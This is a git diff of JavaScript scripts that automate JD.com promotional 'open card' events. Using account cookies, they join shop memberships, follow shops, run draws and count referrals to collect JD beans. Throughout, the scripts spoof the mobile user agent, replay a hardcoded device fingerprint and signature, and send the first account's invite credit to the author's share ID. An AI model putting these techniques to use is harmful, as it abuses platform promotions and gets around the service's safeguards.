if($.actorUuid){ + $.shareUuid = $.actorUuid; + }else{ + console.log('账号1获取不到[shareUuid]退出执行,请重新执行') + return + } + } + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +function openCardStartDraw(type) { + return new Promise(resolve => { + let body = `activityId=dz210768869313&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&type=${type}` + $.post(taskPostUrl('/dingzhi/aoyun/moreshop/openCardStartDraw', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // $.log($.toStr(data)) + data = JSON.parse(data); + if(data.errorMessage || data.data.errorMessage) console.log(`抽奖获得:${data.errorMessage || data.data.errorMessage || ''}`) + if(data.count == 0 && data.result == true){ + console.log(`抽奖获得:${data.data.name || ''}`) + }else{ + $.log($.toStr(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function getDrawRecordHasCoupon() { + return new Promise(resolve => { + let body = `activityId=dz210768869313&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/taskact/common/getShareRecord', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + $.log("================== 你邀请了: " + data.data.length + " 个") + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function startDraw() { + return new Promise(resolve => { + let body = `pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=dz210768869313&actorUuid=${$.actorUuid}&change=3` + $.post(taskPostUrl('/dingzhi/aoyun/moreshop/startDraw', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.log('抽到了: ' + JSON.parse(data).data.name) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function followShop() { + return new Promise(resolve => { + let body = `pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=dz210768869313&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=23&taskValue=23` + $.post(taskPostUrl('/dingzhi/aoyun/moreshop/followShop', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // $.log($.toStr(data)) + data = JSON.parse(data); + if(data.errorMessage) console.log(`关注获得:${data.errorMessage || ''}`) + if(data.count == 0 && data.result == true){ + console.log(`关注获得:${data.data.sendBeans || 0}京豆`) + }else{ + $.log($.toStr(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function checkOpenCard() { + return new Promise(resolve => { + let body = `activityId=dz210768869313&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` + $.post(taskPostUrl('/dingzhi/aoyun/moreshop/checkOpenCard', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = $.toObj(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data && data.data || ''); + } + }) + }) +} +function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/4540555?activityId=dz210768869313&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + data = JSON.parse(data); + if(data.success == true){ + $.log(data.message) + }else if(data.success == false){ + $.log(data.message) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/4540555?activityId=dz210768869313&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} + + +function getWxCommonInfoToken () { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Origin':'https://lzdz1-isv.isvjcloud.com', + 'Referer':'https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token', + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + + +function getIsvObfuscatorToken () { + return new Promise(resolve => { + $.post({ + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e415232&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt/pM7ENipVIQXuRiDyQ0FYw2aud9+AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=wifi&wifiBssid=774de7601b5cddf9aad1ae30f3a3dfc0&uts=0f31TVRjBSsqndu4%2FjgUPz6uymy50MQJ2tPvKuaZvdpSgSWj4Rft6vj532pNv%2FCKtTDIdQHDjGpLlEc2uSsiMQQUTLV9Je9grp1cLq3H0VUzzfixZwWR4M5Q8POBAxkpKMun92VcSYcb6Es9VnenAIfXRVX%2FGYBK9bYxY4NCtDEYEP8Hdo5iUbygFO2ztKWTX1yisUO%2BQJEOojXBN9BqYg%3D%3D&uemps=0-0&st=1627049782034&sign=8faf48b6ada54b2497cfbb051cd0590d&sv=110`, + body: 'body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Fjinggengjcq-isv.isvjcloud.com%2Ffronth5%2F%3Flng%3D114.062541%26lat%3D29.541254%26sid%3D57b59835c68ed8959d124d644f61c58w%26un_area%3D4_48201_54794_0%23%2Fpages%2Feight-brands%2Feight-brands%22%7D&', + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'api.m.jd.com', + 'Referer':'https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e415232&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt/pM7ENipVIQXuRiDyQ0FYw2aud9+AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=wifi&wifiBssid=774de7601b5cddf9aad1ae30f3a3dfc0&uts=0f31TVRjBSsqndu4%2FjgUPz6uymy50MQJ2tPvKuaZvdpSgSWj4Rft6vj532pNv%2FCKtTDIdQHDjGpLlEc2uSsiMQQUTLV9Je9grp1cLq3H0VUzzfixZwWR4M5Q8POBAxkpKMun92VcSYcb6Es9VnenAIfXRVX%2FGYBK9bYxY4NCtDEYEP8Hdo5iUbygFO2ztKWTX1yisUO%2BQJEOojXBN9BqYg%3D%3D&uemps=0-0&st=1627049782034&sign=8faf48b6ada54b2497cfbb051cd0590d&sv=110', + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.token); + } + }) + }) +} + +function getMyPing() { + //await $.wait(20) + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + body: `userId=1000003443&token=${$.isvObfuscatorToken}&fromType=APP`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Referer':'https://lzdz1-isv.isvjcloud.com/customer/getMyPing', + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + let lz_jdpin_token = setcookie.filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] + $.lz_jdpin_token = '' + if(lz_jdpin_token && lz_jdpin_token.indexOf("lz_jdpin_token=") > -1){ + $.lz_jdpin_token = lz_jdpin_token.split(';') && (lz_jdpin_token.split(';')[0] + ';') || '' + } + let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] + if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ + $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' + $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function getHtml() { + //await $.wait(20) + return new Promise(resolve => { + $.get({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/4540555?activityId=dz210768869313&shareUuid=${$.shareUuid}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'X-Requested-With': 'com.jingdong.app.mall', + 'Cookie': `IsvToken=${$.isvObfuscatorToken}; __jdc=60969652; __jd_ref_cls=Mnpm_ComponentApplied; pre_seq=1; __jda=60969652.1622198480453678909255.1622198480.1626617117.1626757026.38; __jdb=60969652.1.1622198480453678909255|38.1626757026; mba_sid=187.2; pre_session=vFIEj/DyoMrR+8jmAgzXSqWcNxIDZica|319; __jdv=60969652%7Cdirect%7C-%7Cnone%7C-%7C1624292158074; LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.secretPin}; ${$.lz_jdpin_token} mba_muid=1622198480453678909255.187.1626757027670`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function adLog() { + return new Promise(resolve => { + let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/4540555?activityId=dz210768869313&shareUuid=${$.shareUuid}` + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD`, + body: `venderId=1000003443&code=99&pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=dz210768869313&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer':'https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD', + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // data = JSON.parse(data); + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + let LZ_TOKEN_KEY = setcookie.filter(row => row.indexOf("LZ_TOKEN_KEY") !== -1)[0] + if(LZ_TOKEN_KEY && LZ_TOKEN_KEY.indexOf("LZ_TOKEN_KEY=") > -1){ + $.LZ_TOKEN_KEY = LZ_TOKEN_KEY.split(';') && (LZ_TOKEN_KEY.split(';')[0]) || '' + $.LZ_TOKEN_KEY = $.LZ_TOKEN_KEY.replace('LZ_TOKEN_KEY=','') + } + let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] + if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ + $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' + $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function drawContent() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/taskact/common/drawContent`, + body: `activityId=dz210768869313&pin=${encodeURIComponent($.myPingData.secretPin)}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/4540555?activityId=dz210768869313&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/wxActionCommon/getUserInfo`, + body: `pin=${encodeURIComponent($.myPingData.secretPin)}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/4540555?activityId=dz210768869313&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.count === 0 && data.result){ + $.attrTouXiang = data.data.yunMidImageUrl + != data.data.yunMidImageUrl ? $.attrTouXiang = data.data.yunMidImageUrl : $.attrTouXiang = "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getActorUuid() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/aoyun/moreshop/activityContent`, + body: `activityId=dz210768869313&pin=${encodeURIComponent($.myPingData.secretPin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.myPingData.nickname)}&shareUuid=${$.shareUuid}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer':'https://lzdz1-isv.isvjcloud.com/dingzhi/aoyun/moreshop/activityContent', + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + data = JSON.parse(data); + $.gameTimes = data.data.gameTimes || 0 + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data.actorUuid); + } + }) + }) +} + + +function taskPostUrl(url, body) { + return { + url: `https://lzdz1-isv.isvjcloud.com${url}`, + body: body, + headers: { + "Host": "lzdz1-isv.isvjcloud.com", + "Accept": "application/json", + "X-Requested-With": "XMLHttpRequest", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://lzdz1-isv.isvjcloud.com", + "Connection": "keep-alive", + "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/personal/care/activity/4540555?activityId=dz210768869313&shareUuid=${$.shareUuid}`, + "User-Agent": $.UA , + 'Cookie': `${cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + } +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.0.8;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_opencard10.js b/backUp/gua_opencard10.js new file mode 100644 index 0000000..4292bcc --- /dev/null +++ b/backUp/gua_opencard10.js @@ -0,0 +1,815 @@ +/* +8.11-8.18 大牌联合 约惠一夏 [gua_opencard10.js] +新增开卡脚本 +一次性脚本 + +邀请一人20豆 被邀请也有20豆(有可能没有豆 +开2组卡 抽奖可能获得30京豆(有可能有抽到空气💨 +关注10京豆 (有可能是空气💨 +加购5京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku10]为"true" + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard10="true" +———————————————— +若是手机用户(不是nodejs环境) 是默认直接执行脚本的 +没有适配加购变量 所以是不加购 +———————————————— +入口:[8.11-8.18 大牌联合 约惠一夏 (https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=b856fb097683415facd1ae733672de9e&shareUuid=dc4ebdd412df4b41a538f21916ef80cd)] +============Quantumultx=============== +[task_local] +#8.11-8.18 大牌联合 约惠一夏 +30 0,22 11-18 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard10.js, tag=8.11-8.18 大牌联合 约惠一夏, enabled=true + +================Loon============== +[Script] +cron "30 0,22 11-18 8 *" 